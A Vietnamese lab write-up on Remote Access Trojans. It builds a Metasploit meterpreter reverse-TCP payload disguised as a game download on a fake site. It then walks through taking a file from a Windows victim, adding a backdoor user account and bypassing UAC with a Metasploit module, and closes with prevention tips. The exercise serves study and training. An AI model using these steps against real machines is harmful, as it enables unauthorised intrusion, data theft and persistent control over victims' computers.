Tìm hiểu và thực hành tấn công với Remote Access Trojan
RAT là gì?
RAT (Remote Access Trojan) là một loại phần mềm độc hại có thể giúp 1 tin tặc có thể chiếm quyền vào các điện thoại hoặc máy tính khi bị lây nhiễm.
RAT được sử dụng hầu hết cho việc hack của các tin tặc và được cài trên máy của nạn nhân (victim). Nếu được mã hoá thì RAT sẽ được ẩn đi và rất khó cho các phần mềm diệt virus phát hiện được chúng. Bởi vì vậy càng khiến việc loại bỏ trở nên khó khăn cũng như các tin tặc dễ dàng kiểm soát thiết bị của nạn nhân hơn.
Các phần mềm RAT nguy hiểm ở chỗ, hiện nay nó đang được rao bán với tầm giá từ vài chục đến vài trăm đô la mỹ nên việc xử lý chúng trên diện rộng cũng trở nên khó khăn hơn.
Khi nạn nhân bị nhiễm RAT, tin tặc có thể làm được gì?
- Lấy được toàn bộ dữ liệu (Data), password lưu trên máy của nạn nhân
- Truy cập camera (webcam), hiển thị vị trí, truy cập mic để nghe môi trường xung quanh, xem trực tiếp màn hình của nạn nhân (victim)
- Có quyền truy cập danh bạ, danh sách cuộc gọi hoặc tin nhắn
- Có thể cài thêm các virus (có thể là loại khác vào máy nạn nhân)
- Có thể lợi dụng quyền điều khiển máy của nạn nhân để thực hiện các hành vi phạm tội khác
–> Tất cả các quyền của nạn nhân làm được trên thiết bị của họ, tin tặc cũng đều có thể làm được với máy của họ (nạn nhân)
Yêu cầu mô phỏng
Sử dụng 1 công cụ RAT (Remote Access Trojan) bất kì [Mô hình bao gồm 1 máy attacker và 1 máy victim]. Thực hiện cài đặt RAT vào máy tính victim sau đó thực hiện các hành vi:
- Lấy file dữ liệu về (có thể dùng 1 file giả lập trong hệ thống)
- Tạo tài khoản người dùng có quyền administrator Lưu ý: Sử dụng giao diện dòng lệnh hoặc giao diện của công cụ RAT (lưu ý không sử dụng công cụ Remote Desktop hoặc SSH)
Thực hiện mô phỏng
Mô hình tấn công
Bao gồm 1 máy attacker là Kali Linux
và 1 máy victim (trong bài này mình sử dụng Windows XP
và Windows 7
)
Công cụ RAT
Chọn công cụ msfvenom
(Metasploit Framework) để sử dụng cho việc tấn công mô phỏng này
Start apache web server từ phía Kali Linux (attacker) bằng sudo apache2ctl start
và tiếp theo là check IP từ Kali Linux
Và những gì hiển thị trên IP này là toàn bộ dữ liệu có trong var/www/html bên phía Kali Linux, mình đã tạo 1 web giả mạo tải game
Tạo 1 payload và lưu vào file game.exe mà mình sẽ dùng bằng lệnh (Tạo file malware)
|
|
Giải thích shell:
-
-p
là sử dụng payload windows/meterpreter/reverse_tcp -
lhost
là IP address của máy attacker (l tượng trưng cho local) -
lport
là cổng của máy attacker -
-f
là format của file malware (ở đây mình để là exe) -
-o
File output thực tế (mình để tên của file)
Tại đây dùng 1 máy Windows XP để làm máy victim và truy cập vào địa chỉ IP trên đã lấy từ Kali Linux ở trên tiến hành truy cập vào apache web server và vào mục game
đã chứa web giả mạo của mình. Và sau khi tải về thì sẽ chứa file game.exe
Sử dụng giao diện của msf –> msfconsole
(Metasploit framework) và vào việc
Nhập lần lượt các dòng lệnh để cài đặt cho msf
|
|
Các lệnh cài cho Metasploit
Và sau khi máy victim chạy nó, msf sẽ tự hiện lên kết nối
Nhập help
để biết thêm nhiều lệnh và công dụng trong đó (mình không để ý nên đã mất rất nhiều thời gian sử dụng shell bên victim để gửi tài liệu)
Thực hiện hành vi 1: Lấy file tài liệu về (một file giả lập bất kỳ trong hệ thống)
Giả sử máy victim đang có 1 file txt chẳng hạn ở đây mình để là file dinhthaison.txt
và mình để luôn ở Desktop cho nhanh nhé
thì với lệnh dir
, mình đã quét được các file đang tồn tại ngoài Desktop và có tồn tại file dinhthaison.txt
Sau đó chỉ cần nhập lệnh download dinhthaison.txt
để tải về thôi
Thực hiện hành vi 2: Tạo 1 tài khoản người dùng có quyền administrator.
Sử dụng lệnh shell
để truy cập vào cmd của máy victim, check user bằng lệnh net user
, ở đây ta thấy mới có tài khoản ban đầu của máy là SUPPORT_388945a0
Tiến hành thêm tài khoản mới bằng cách nhập lệnh net user newaccount dinhthaison /add
, trong đó newaccount
là tên người dùng, còn dinhthaison
là password
Ngoài lề
Về RAT lần này, sau khi thử với windows 7 thì có trường hợp không được cấp quyền ad trong khi nhập meterpreter (và lý do chính là UAC chưa được bypass)
Nhưng khi mình thực thi thì hoàn toàn không gặp phải vấn đề này vì có lẽ windows XP không có UAC
Nếu gặp UAC từ các đời windows 7 trở lên thì sao?
Vậy thì mình sẽ bypass UAC ngay trong máy attacker. Đầu tiên sẽ là check người dùng bằng getuid
Với mỗi thông tin nhu này thì chưa chắc chắn được gì, có lẽ nên thử tiếp bằng getsystem
Vậy là đã bị fail. Sử dụng getsystem -h
để hiển thị mục help
Sau khi sử dụng getsystem -t 1
trả về Access is denied
Vậy thì sẽ tiến hành bypass UAC để có quyền truy cập cho RAT, bằng cách sử dụng module từ Metasploit để bypass tính năng UAC trên Windows.
Đầu tiên thì mình sẽ cần làm background cho session
Tiếp theo sẽ sử dụng lệnh use exploit/windows/local/bypassuac
(lệnh này có thể tìm kiếm bằng việc search uac
trong Metasploit) sau đó check options
Dễ thấy exploit target là windows x86 –> nhập show targets
để xem những mục tiêu
Vậy thì đến đây chúng ta sẽ set target cũng như session
Sau bước này chúng ta có thể run để bypass UAC
Sau khi check getuid
và getsystem
đều đã ra những thứ chúng ta cần
Vậy là đã thành công vượt qua được UAC và đã có quyền truy cập hệ thống
–> Hoàn thành challenge tìm hiểu và sử dụng RAT (Remote Access Trojan)
Cách phòng tránh RAT và tự bảo vệ chính mình trước RAT
- Không sử dụng các phần mềm Crack hoặc không download từ 1 nguồn không đáng tin cậy nào
- Không mở mail không xác định hoặc mở file đính kèm từ 1 mail không xác định
- Luôn cập nhật các bản vá hoặc phần mềm mới nhất từ trang chính thức của phần mềm đó (cũng như hệ điều hành)
- Thao tác các hành động không đáng tin cậy trên máy ảo
Về Windows đời cao hơn
Đối với hệ điều hành Windows đời cao hơn, sẽ cần phải tắt tưởng lửa, window defender và tất nhiên cũng sẽ phải bypass UAC mới có thể sử dụng được và sự mô phỏng này có lẽ chưa thực sự khả thi với ngoài đời trong thời điểm hiện tại.